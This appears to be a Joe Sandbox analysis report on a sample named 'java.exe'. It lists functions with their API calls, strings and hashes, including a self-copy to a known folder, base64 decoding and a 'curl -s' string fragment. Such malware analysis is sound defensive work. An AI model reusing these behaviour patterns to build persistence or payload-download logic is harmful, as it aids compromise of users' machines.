API ID: D@std@@@std@@U?$char_traits@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exceptions@std@@Osfx@?$basic_ostream@V12@
String ID: VBox
API String ID: 4121003011-8870058
Opcode ID: 8d9f1fcbf29990ccba68683eb9388bbe1b18308a65f00ed4dbf19797e9948431
Instruction ID: 43a57c6c12c10d19425375bd8f02ada352a04e5e74cb776f8ee984f6a251441a
Opcode Fuzzy Hash: 8d9f1fcbf29990ccba68683eb9388bbe1b18308a65f00ed4dbf19797e9948431
Instruction Fuzzy Hash: E8512E72608A4181EF21DF1AE690238A7A0FF95FA5F19C531EE6E937A0DF3DD4468350

Function 00007FF65E1F47D0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF65E1F4814
SHGetKnownFolderPath.SHELL32 ref: 00007FF65E1F4833

Part of subcall function 00007FF65E1F5210: memmove.VCRUNTIME140 ref: 00007FF65E1F527A

memmove.VCRUNTIME140 ref: 00007FF65E1F4884
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F490E
CoTaskMemFree.OLE32 ref: 00007FF65E1F491F
GetFileAttributesW.KERNELBASE ref: 00007FF65E1F4932
CopyFileW.KERNEL32 ref: 00007FF65E1F4952

Strings

\java.exe, xrefs: 00007FF65E1F487D
System, xrefs: 00007FF65E1F47DC

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: File$memmove$AttributesCopyFolderFreeKnownModuleNamePathTask_invalid_parameter_noinfo_noreturn
String ID: System$\java.exe
API String ID: 1966085478-2838124431
Opcode ID: 9df640e94e4460063b0ebfa5c6d29310eec143933f45953db38a7472d5bb157b
Instruction ID: c1cae39efa4f95323eba040c0d30252e2db170f92cedf2f80e0026646df9ecf8
Opcode Fuzzy Hash: 9df640e94e4460063b0ebfa5c6d29310eec143933f45953db38a7472d5bb157b
Instruction Fuzzy Hash: 4A41D132A18A8182EF20CF25E65436D7361FB98B94F445531EAADA3B98DF7CE194C340

Function 00007FF65E1F3AC0 Relevance: 13.6, APIs: 9, Instructions: 131COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF65E1F3B25
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF65E1F3B45
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF65E1F3B55
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF65E1F3B9C
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF65E1F3BC9
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF65E1F3BEA
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF65E1F3C30
?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF65E1F3C37
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF65E1F3C44

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exceptions@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 4121003011-0
Opcode ID: 32c923d81eb2f926df63972f162163bef63c4a2309fcb996621e0580ae7188cd
Instruction ID: 067fdf125ebc2e52267d891ebf92c725b04f7131eac7d41ad4e0ee6d6274cd74
Opcode Fuzzy Hash: 32c923d81eb2f926df63972f162163bef63c4a2309fcb996621e0580ae7188cd
Instruction Fuzzy Hash: 6F513032608A4181EF708F19D6A063CABA0FFA5F95F198532EE5E937A4CF3DD4468350

Function 00007FF65E1F8AE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF65E1F8B4F

Part of subcall function 00007FF65E1FD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF65E1F3975), ref: 00007FF65E1FDA0A

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF65E1F8BDC
memset.VCRUNTIME140 ref: 00007FF65E1F8C1C
memset.VCRUNTIME140 ref: 00007FF65E1F8C78
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F8D43

Strings

Security, xrefs: 00007FF65E1F8AF0
System, xrefs: 00007FF65E1F8AEE

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memset$_invalid_parameter_noinfo_noreturnlocaleconvmalloc
String ID: Security$System
API String ID: 4120556116-2661570791
Opcode ID: 7e827c1aa1cd5d5c5d66c3ad686d95bbe85674a424d3ce88bcbd9dfe1239f2c9
Instruction ID: a5958d309c154395c78ae13f3b0513da79c5f218d2e59b09abb10c1b048eab3f
Opcode Fuzzy Hash: 7e827c1aa1cd5d5c5d66c3ad686d95bbe85674a424d3ce88bcbd9dfe1239f2c9
Instruction Fuzzy Hash: BE81C232A04BC186EB60CF25E9443AD37A0F7A9B94F188225EA9D97B95DF3CC581C750

Function 00007FF65E1FDC1C Relevance: 12.1, APIs: 8, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF65E1FDC45
__scrt_release_startup_lock.LIBCMT ref: 00007FF65E1FDCB3
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FDD01
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FDD06
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FDD0E
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FDD16
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FDD38
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FDD92

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1133592946-0
Opcode ID: a2b6e63c03c4307f1c7944bccec6fd587a45c4b5608812da48b03e94cda5521b
Instruction ID: 005a31784e9ee1f00b0105eab9ff6c6150fee0db45bb632082c4cc818f54a8af
Opcode Fuzzy Hash: a2b6e63c03c4307f1c7944bccec6fd587a45c4b5608812da48b03e94cda5521b
Instruction Fuzzy Hash: 39313B61A0C50381FE60BB2197157B92391AFA57C4F4C5139FA6EE72D7DE2CA40482F5

Function 00007FF65E1FD9F0 Relevance: 4.5, APIs: 3, Instructions: 23COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF65E1F3975), ref: 00007FF65E1FDA0A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1FDA20

Part of subcall function 00007FF65E1FE1EC: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF65E1FE1F5
Part of subcall function 00007FF65E1FE1EC: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF65E1FDA25,?,?,7FFFFFFFFFFFFFFF,00007FF65E1F3975), ref: 00007FF65E1FE206

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1FDA26

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Concurrency::cancel_current_task$ExceptionThrowmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 594857686-0
Opcode ID: 9dee0384807c4d253cdcdcb94958414db6b7803d00181a6a14837a4265a6d2e0
Instruction ID: 0df02051cbc55ad94ea6f97a1d8d5f7d1a1b20f3ca28b55b66847e3e2c2df129
Opcode Fuzzy Hash: 9dee0384807c4d253cdcdcb94958414db6b7803d00181a6a14837a4265a6d2e0
Instruction Fuzzy Hash: 36E01280E1E14788FE782A621B251B401445F393B4F1C2B30F83EE52C3ED1CA88281B9

Function 00007FF65E1F4710 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z.MSVCP140 ref: 00007FF65E1F4725
?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z.MSVCP140 ref: 00007FF65E1F4731
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF65E1F473A

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$V12@$?flush@?$basic_ostream@?put@?$basic_ostream@?widen@?$basic_ios@
String ID:
API String ID: 1875450691-0
Opcode ID: f4125d65197c8cd84bb38f550762ca1077ffddb23cb634167d8243e328fd1d8f
Instruction ID: 9e8df31c593a73e54e212829d68c54e77f45e5249969faa42b4cb05b2d1d9a27
Opcode Fuzzy Hash: f4125d65197c8cd84bb38f550762ca1077ffddb23cb634167d8243e328fd1d8f
Instruction Fuzzy Hash: 33D05B11B4460681EF085F16BEA44382320DF59F51B0C9431DD0F57394DD3CD0958300

Non-executed Functions

Function 00007FF65E1F6000 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 111encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32 ref: 00007FF65E1F6065
memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF65E1F60A6
CryptStringToBinaryA.CRYPT32 ref: 00007FF65E1F60DF
_CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF65E1F6195
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF65E1F6141

Part of subcall function 00007FF65E1F11E0: __std_exception_copy.VCRUNTIME140 ref: 00007FF65E1F121E

_CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF65E1F61B8

Strings

Failed to decode base64 string, xrefs: 00007FF65E1F6178
System, xrefs: 00007FF65E1F600C
Failed to calculate decoded size, xrefs: 00007FF65E1F619B

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: BinaryCryptExceptionStringThrow$__std_exception_copy_invalid_parameter_noinfo_noreturnmemset
String ID: Failed to calculate decoded size$Failed to decode base64 string$System
API String ID: 1426166207-3746013482
Opcode ID: 14ac3170ead7c7aae9ce120748a7062de75bf1bef9c06f2a4d6b0291c8387342
Instruction ID: 28e309506083ef9c5f2e08dfb1cec9e51f71c9764c66a3a23a0ea0e2bb878826
Opcode Fuzzy Hash: 14ac3170ead7c7aae9ce120748a7062de75bf1bef9c06f2a4d6b0291c8387342
Instruction Fuzzy Hash: 6E419132A18B4681EE60DF11E54066A7361FBD57C0F584235FA9D93AA9DF3CE581CB80

Function 00007FF65E1FE324 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF65E1FE340
memset.VCRUNTIME140 ref: 00007FF65E1FE364
RtlCaptureContext.KERNEL32 ref: 00007FF65E1FE36D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF65E1FE387
RtlVirtualUnwind.KERNEL32 ref: 00007FF65E1FE3C8
memset.VCRUNTIME140 ref: 00007FF65E1FE3FB
IsDebuggerPresent.KERNEL32 ref: 00007FF65E1FE41C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF65E1FE439
UnhandledExceptionFilter.KERNEL32 ref: 00007FF65E1FE444

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 9976b80456451c459783d82c79ee402152503cdb330eb85bcad0ad8866f3e4c9
Instruction ID: 191b8a4bb5eae02fbfba77d81a176eb2f38ab94e75eaf0d206862dbb000cc0cf
Opcode Fuzzy Hash: 9976b80456451c459783d82c79ee402152503cdb330eb85bcad0ad8866f3e4c9
Instruction Fuzzy Hash: BF315D72608B8186EF608F60E9547EE7360FB94714F48443AEA4E97B98EF3CD648C714

Function 00007FF65E1FB100 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 183COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF65E1FB158
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF65E1FB178
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF65E1FB188
?getloc@ios_base@std@@QEBA?AVlocale@2@XZ.MSVCP140 ref: 00007FF65E1FB1AD
??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF65E1FB1C0
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF65E1FB1DD
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF65E1FB20F
?_Getcat@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF65E1FB240
??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF65E1FB288
?put@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DPEBUtm@@PEBD3@Z.MSVCP140 ref: 00007FF65E1FB31B
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF65E1FB338
?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF65E1FB346
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF65E1FB353

Strings

Security, xrefs: 00007FF65E1FB10B
System, xrefs: 00007FF65E1FB109

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@V?$ostreambuf_iterator@$?good@ios_base@std@@D@std@@@std@@@std@@Lockit@std@@$??0_??1_?flush@?$basic_ostream@?getloc@ios_base@std@@?put@?$time_put@?setstate@?$basic_ios@?uncaught_exceptions@std@@Bid@locale@std@@D@std@@@2@Getcat@?$time_put@Getgloballocale@locale@std@@Locimp@12@Osfx@?$basic_ostream@Utm@@V12@V32@V42@@Vfacet@locale@2@Vios_base@2@Vlocale@2@
String ID: Security$System
API String ID: 2601024164-2661570791
Opcode ID: 32f99a87d3a5ab311aaa68574cd87bda19d4f3e88d22cf0ee314562ff2212286
Instruction ID: 92385444aaf9607a46812807744570ee372c8aded84525591959173392dfb2cf
Opcode Fuzzy Hash: 32f99a87d3a5ab311aaa68574cd87bda19d4f3e88d22cf0ee314562ff2212286
Instruction Fuzzy Hash: 83718A22609A8185EF64CF15E7A077E7761FBA5B80F088532EAAE937A4DF3CD445C340

Function 00007FF65E1F32E0 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF65E1F3329
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF65E1F3349
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF65E1F3359
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF65E1F33B5
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF65E1F33DF
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF65E1F340E
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF65E1F3459
?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF65E1F3460
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF65E1F346D

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?good@ios_base@std@@$?flush@?$basic_ostream@?setstate@?$basic_ios@?uncaught_exceptions@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 3107587312-0
Opcode ID: 4a2502ecc8ca070d43367042e3d12e437e7251f46653fbf343002d1584a05c5c
Instruction ID: eb4576c565159a16ef505755efa52a663c7bd3fc41f166b5e9c943f59859230d
Opcode Fuzzy Hash: 4a2502ecc8ca070d43367042e3d12e437e7251f46653fbf343002d1584a05c5c
Instruction Fuzzy Hash: DB514132608A8186EF25CF19E6D063CB7A0FFA4F95B198536DA5E937A0CE2DD4468340

Function 00007FF65E1F5350 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF65E1F5468
memmove.VCRUNTIME140 ref: 00007FF65E1F547A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F54B8
memmove.VCRUNTIME140 ref: 00007FF65E1F54C2
memmove.VCRUNTIME140 ref: 00007FF65E1F54D4
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F550A

Strings

\java.exe, xrefs: 00007FF65E1F5470, 00007FF65E1F54CA

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: \java.exe
API String ID: 2016347663-3009632800
Opcode ID: 4bf9be07dc1a305eeaf47fa471ca790812da740372db822ec18e086f487c3532
Instruction ID: 96e213d36192a345903dc2952227ba1a356614404e97cbf30276789d11a8dc86
Opcode Fuzzy Hash: 4bf9be07dc1a305eeaf47fa471ca790812da740372db822ec18e086f487c3532
Instruction Fuzzy Hash: 5141E162B09B4191EE209B15E6442AD6351FB58BE0F980731EABDAB7E5EF3CD441C350

Function 00007FF65E1F3C80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,00000000,00000008,?,00007FF65E1F1568), ref: 00007FF65E1F3D6A
memmove.VCRUNTIME140(?,00000000,00000008,?,00007FF65E1F1568), ref: 00007FF65E1F3D79
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000000,00000008,?,00007FF65E1F1568), ref: 00007FF65E1F3DAD
memmove.VCRUNTIME140(?,00000000,00000008,?,00007FF65E1F1568), ref: 00007FF65E1F3DB4
memmove.VCRUNTIME140(?,00000000,00000008,?,00007FF65E1F1568), ref: 00007FF65E1F3DC3
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F3DEE

Strings

curl -s , xrefs: 00007FF65E1F3D57

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: curl -s
API String ID: 2016347663-820363595
Opcode ID: a562037bf8f08733c6859b3403078e9e87e419d0620c49857303a3a5aa416be6
Instruction ID: f6b3f749150e1a601e4092cf422229bb363b1ca2c973baf51d9dca3e4da9320f
Opcode Fuzzy Hash: a562037bf8f08733c6859b3403078e9e87e419d0620c49857303a3a5aa416be6
Instruction Fuzzy Hash: 8241A361B0974195EE209B169A042B86255EF54BD0F980632EE7D9B7D6DF3CE041C3A0

Function 00007FF65E1F2CC0 Relevance: 10.8, APIs: 7, Instructions: 267COMMON

Download Yara Rule

APIs

?out@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_W1AEAPEB_WPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF65E1F2D9A
memmove.VCRUNTIME140 ref: 00007FF65E1F2E4E

Part of subcall function 00007FF65E1F38C0: memmove.VCRUNTIME140 ref: 00007FF65E1F39AE
Part of subcall function 00007FF65E1F38C0: memmove.VCRUNTIME140 ref: 00007FF65E1F39BC

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F2FEE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F3039
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F3089
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F3090
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F3096

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

